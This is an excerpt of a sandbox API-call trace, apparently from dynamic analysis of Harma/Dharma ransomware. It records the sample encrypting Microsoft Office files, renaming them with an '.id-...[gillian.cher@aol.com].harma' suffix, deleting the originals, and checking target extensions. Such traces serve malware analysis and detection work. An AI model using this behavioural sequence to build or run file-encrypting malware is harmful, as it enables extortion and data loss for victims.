lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x4c230, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x4c230, lpOverlapped=0x0) returned 1 [0171.123] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0171.123] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0171.124] SetEndOfFile (hFile=0x370) returned 1 [0171.124] CloseHandle (hObject=0x370) returned 1 [0171.124] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.124] SetEndOfFile (hFile=0x344) returned 1 [0171.132] CloseHandle (hObject=0x344) returned 1 [0171.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng")) returned 1 [0171.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0171.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0171.236] lstrlenW (lpString=".doc") returned 4 [0171.236] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0171.237] lstrlenW (lpString=".docx") returned 5 [0171.237] lstrcmpiW (lpString1=".docx", lpString2="H.LNG") returned -1 [0171.237] lstrlenW (lpString=".pdf") returned 4 [0171.237] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0171.237] lstrlenW (lpString=".xls") returned 4 [0171.237] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0171.237] lstrlenW (lpString=".xlsx") returned 5 [0171.237] lstrcmpiW (lpString1=".xlsx", lpString2="H.LNG") returned -1 [0171.237] lstrlenW (lpString=".ppt") returned 4 [0171.237] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0171.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0171.237] lstrlenW (lpString=".zip") returned 4 [0171.237] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0171.237] lstrlenW (lpString=".rar") returned 4 [0171.237] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0171.237] lstrlenW (lpString=".bz2") returned 4 [0171.237] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0171.237] lstrlenW (lpString=".7z") returned 3 [0171.237] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0171.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0171.237] lstrlenW (lpString=".dbf") returned 4 [0171.237] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0171.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0171.237] lstrlenW (lpString=".1cd") returned 4 [0171.237] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0171.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0171.237] lstrlenW (lpString=".jpg") returned 4 [0171.238] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0171.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0171.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0171.238] lstrlenW (lpString=".doc") returned 4 [0171.238] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0171.238] lstrlenW (lpString=".docx") returned 5 [0171.238] lstrcmpiW (lpString1=".docx", lpString2="H.LNG") returned -1 [0171.238] lstrlenW (lpString=".pdf") returned 4 [0171.238] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0171.238] lstrlenW (lpString=".xls") returned 4 [0171.238] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0171.238] lstrlenW (lpString=".xlsx") returned 5 [0171.238] lstrcmpiW (lpString1=".xlsx", lpString2="H.LNG") returned -1 [0171.238] lstrlenW (lpString=".ppt") returned 4 [0171.238] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0171.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0171.238] lstrlenW (lpString=".zip") returned 4 [0171.238] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0171.238] lstrlenW (lpString=".rar") returned 4 [0171.238] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0171.238] lstrlenW (lpString=".bz2") returned 4 [0171.238] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0171.238] lstrlenW (lpString=".7z") returned 3 [0171.238] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0171.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0171.238] lstrlenW (lpString=".dbf") returned 4 [0171.238] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0171.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0171.239] lstrlenW (lpString=".1cd") returned 4 [0171.239] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0171.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0171.239] lstrlenW (lpString=".jpg") returned 4 [0171.239] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0171.239] lstrcmpiW (lpString1=".ICO", lpString2=".harma") returned 1 [0171.239] lstrlenW (lpString="ACTIVITS.ICO") returned 12 [0171.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0171.297] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=2998) returned 1 [0171.297] CloseHandle (hObject=0x20c) returned 1 [0171.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico")) returned 0x20 [0171.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0171.298] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.298] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0171.601] GetLastError () returned 0x0 [0171.601] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xbb6, lpOverlapped=0x0) returned 1 [0171.602] WriteFile (in: hFile=0x33c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0171.604] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0171.604] WriteFile (in: hFile=0x33c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.604] SetEndOfFile (hFile=0x33c) returned 1 [0171.604] CloseHandle (hObject=0x33c) returned 1 [0171.604] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.604] SetEndOfFile (hFile=0x20c) returned 1 [0171.609] CloseHandle (hObject=0x20c) returned 1 [0171.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico")) returned 1 [0171.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0171.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0171.628] lstrlenW (lpString=".doc") returned 4 [0171.628] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0171.628] lstrlenW (lpString=".docx") returned 5 [0171.628] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0171.628] lstrlenW (lpString=".pdf") returned 4 [0171.628] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0171.628] lstrlenW (lpString=".xls") returned 4 [0171.628] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0171.628] lstrlenW (lpString=".xlsx") returned 5 [0171.628] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0171.628] lstrlenW (lpString=".ppt") returned 4 [0171.628] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0171.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0171.628] lstrlenW (lpString=".zip") returned 4 [0171.628] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0171.628] lstrlenW (lpString=".rar") returned 4 [0171.628] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0171.628] lstrlenW (lpString=".bz2") returned 4 [0171.628] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0171.629] lstrlenW (lpString=".7z") returned 3 [0171.629] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0171.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0171.629] lstrlenW (lpString=".dbf") returned 4 [0171.629] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0171.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0171.629] lstrlenW (lpString=".1cd") returned 4 [0171.629] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0171.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0171.629] lstrlenW (lpString=".jpg") returned 4 [0171.629] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0171.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0171.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0171.629] lstrlenW (lpString=".doc") returned 4 [0171.629] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0171.629] lstrlenW (lpString=".docx") returned 5 [0171.629] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0171.629] lstrlenW (lpString=".pdf") returned 4 [0171.629] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0171.629] lstrlenW (lpString=".xls") returned 4 [0171.629] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0171.629] lstrlenW (lpString=".xlsx") returned 5 [0171.629] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0171.629] lstrlenW (lpString=".ppt") returned 4 [0171.629] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0171.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0171.629] lstrlenW (lpString=".zip") returned 4 [0171.629] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0171.629] lstrlenW (lpString=".rar") returned 4 [0171.629] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0171.630] lstrlenW (lpString=".bz2") returned 4 [0171.630] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0171.630] lstrlenW (lpString=".7z") returned 3 [0171.630] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0171.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0171.630] lstrlenW (lpString=".dbf") returned 4 [0171.630] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0171.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0171.630] lstrlenW (lpString=".1cd") returned 4 [0171.630] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0171.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0171.630] lstrlenW (lpString=".jpg") returned 4 [0171.630] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0171.630] lstrcmpiW (lpString1=".ICO", lpString2=".harma") returned 1 [0171.630] lstrlenW (lpString="APPTL.ICO") returned 9 [0171.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0171.638] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=1078) returned 1 [0171.638] CloseHandle (hObject=0x3a0) returned 1 [0171.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico")) returned 0x20 [0171.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.646] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.646] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0171.647] GetLastError () returned 0x0 [0171.647] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x436, lpOverlapped=0x0) returned 1 [0171.672] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x440, lpOverlapped=0x0) returned 1 [0171.673] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0171.673] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0171.673] SetEndOfFile (hFile=0x390) returned 1 [0171.673] CloseHandle (hObject=0x390) returned 1 [0171.673] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.673] SetEndOfFile (hFile=0x3ac) returned 1 [0171.684] CloseHandle (hObject=0x3ac) returned 1 [0171.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico")) returned 1 [0171.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0171.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0171.686] lstrlenW (lpString=".doc") returned 4 [0171.686] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0171.686] lstrlenW (lpString=".docx") returned 5 [0171.686] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0171.686] lstrlenW (lpString=".pdf") returned 4 [0171.686] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0171.686] lstrlenW (lpString=".xls") returned 4 [0171.686] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0171.686] lstrlenW (lpString=".xlsx") returned 5 [0171.686] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0171.686] lstrlenW (lpString=".ppt") returned 4 [0171.686] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0171.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0171.686] lstrlenW (lpString=".zip") returned 4 [0171.686] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0171.686] lstrlenW (lpString=".rar") returned 4 [0171.686] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0171.686] lstrlenW (lpString=".bz2") returned 4 [0171.686] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0171.687] lstrlenW (lpString=".7z") returned 3 [0171.687] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0171.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0171.687] lstrlenW (lpString=".dbf") returned 4 [0171.687] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0171.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0171.687] lstrlenW (lpString=".1cd") returned 4 [0171.687] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0171.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0171.687] lstrlenW (lpString=".jpg") returned 4 [0171.687] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0171.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0171.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0171.687] lstrlenW (lpString=".doc") returned 4 [0171.687] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0171.687] lstrlenW (lpString=".docx") returned 5 [0171.687] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0171.687] lstrlenW (lpString=".pdf") returned 4 [0171.687] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0171.687] lstrlenW (lpString=".xls") returned 4 [0171.687] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0171.687] lstrlenW (lpString=".xlsx") returned 5 [0171.687] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0171.687] lstrlenW (lpString=".ppt") returned 4 [0171.687] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0171.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0171.687] lstrlenW (lpString=".zip") returned 4 [0171.687] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0171.687] lstrlenW (lpString=".rar") returned 4 [0171.687] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0171.688] lstrlenW (lpString=".bz2") returned 4 [0171.688] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0171.688] lstrlenW (lpString=".7z") returned 3 [0171.688] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0171.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0171.688] lstrlenW (lpString=".dbf") returned 4 [0171.688] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0171.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0171.688] lstrlenW (lpString=".1cd") returned 4 [0171.688] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0171.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0171.688] lstrlenW (lpString=".jpg") returned 4 [0171.688] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0171.688] lstrcmpiW (lpString1=".CFG", lpString2=".harma") returned -1 [0171.688] lstrlenW (lpString="CNFNOT.CFG") returned 10 [0171.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.689] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=320) returned 1 [0171.689] CloseHandle (hObject=0x3ac) returned 1 [0171.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg")) returned 0x20 [0171.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.690] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.690] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0171.690] GetLastError () returned 0x0 [0171.691] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x140, lpOverlapped=0x0) returned 1 [0171.691] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x150, lpOverlapped=0x0) returned 1 [0171.692] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0171.692] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0171.693] SetEndOfFile (hFile=0x390) returned 1 [0171.693] CloseHandle (hObject=0x390) returned 1 [0171.693] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 